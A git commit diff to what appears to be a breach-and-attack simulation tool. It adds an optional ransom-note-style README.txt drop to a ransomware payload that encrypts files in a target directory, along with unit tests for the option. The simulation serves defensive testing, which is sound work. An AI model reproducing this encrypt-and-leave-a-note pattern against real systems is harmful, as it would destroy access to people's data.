Agent: Leave a README.txt in ransomware target dir if it's configured

This commit is contained in:
Mike Salvatore 2021-06-28 14:39:10 -04:00
parent 23b85acdfc
commit b312c11f44
2 changed files with 39 additions and 3 deletions

View File

@ -1,4 +1,5 @@
import logging import logging
import shutil
from pathlib import Path from pathlib import Path
from typing import List, Optional, Tuple from typing import List, Optional, Tuple
@ -14,6 +15,9 @@ LOG = logging.getLogger(__name__)
EXTENSION = ".m0nk3y" EXTENSION = ".m0nk3y"
CHUNK_SIZE = 4096 * 24 CHUNK_SIZE = 4096 * 24
README_SRC = Path(__file__).parent / "ransomware_readme.txt"
README_DEST = "README.txt"
class RansomewarePayload: class RansomewarePayload:
def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger):
@ -29,6 +33,9 @@ class RansomewarePayload:
else target_directories["linux_dir"] else target_directories["linux_dir"]
) )
self._readme_enabled = config["other_behaviors"]["readme"]
LOG.info(f"README enabled: {self._readme_enabled}")
self._new_file_extension = EXTENSION self._new_file_extension = EXTENSION
self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
self._valid_file_extensions_for_encryption.discard(self._new_file_extension) self._valid_file_extensions_for_encryption.discard(self._new_file_extension)
@ -39,6 +46,7 @@ class RansomewarePayload:
def run_payload(self): def run_payload(self):
file_list = self._find_files() file_list = self._find_files()
self._encrypt_files(file_list) self._encrypt_files(file_list)
self._leave_readme()
def _find_files(self) -> List[Path]: def _find_files(self) -> List[Path]:
if not self._target_dir: if not self._target_dir:
@ -67,3 +75,10 @@ class RansomewarePayload:
def _send_telemetry(self, filepath: Path, error: str): def _send_telemetry(self, filepath: Path, error: str):
encryption_attempt = RansomwareTelem((str(filepath), str(error))) encryption_attempt = RansomwareTelem((str(filepath), str(error)))
self._telemetry_messenger.send_telemetry(encryption_attempt) self._telemetry_messenger.send_telemetry(encryption_attempt)
def _leave_readme(self):
if self._readme_enabled:
try:
shutil.copyfile(README_SRC, Path(self._target_dir) / README_DEST)
except Exception as ex:
LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}")

View File

@ -1,5 +1,5 @@
import os import os
from pathlib import PurePath from pathlib import Path, PurePath
import pytest import pytest
from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import (
@ -22,7 +22,11 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import
from tests.utils import hash_file, is_user_admin from tests.utils import hash_file, is_user_admin
from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module
from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload from infection_monkey.ransomware.ransomware_payload import (
EXTENSION,
README_DEST,
RansomewarePayload,
)
from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.i_telem import ITelem
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
@ -42,7 +46,8 @@ def with_extension(filename):
@pytest.fixture @pytest.fixture
def ransomware_payload_config(ransomware_target): def ransomware_payload_config(ransomware_target):
return { return {
"directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} "directories": {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)},
"other_behaviors": {"readme": False},
} }
@ -166,3 +171,19 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_
assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0] assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0]
assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1] assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][1]
def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_messenger_spy):
ransomware_payload_config["other_behaviors"]["readme"] = False
ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy)
ransomware_payload.run_payload()
assert not Path(ransomware_target / README_DEST).exists()
def test_readme_true(ransomware_payload_config, ransomware_target, telemetry_messenger_spy):
ransomware_payload_config["other_behaviors"]["readme"] = True
ransomware_payload = RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy)
ransomware_payload.run_payload()
assert Path(ransomware_target / README_DEST).exists()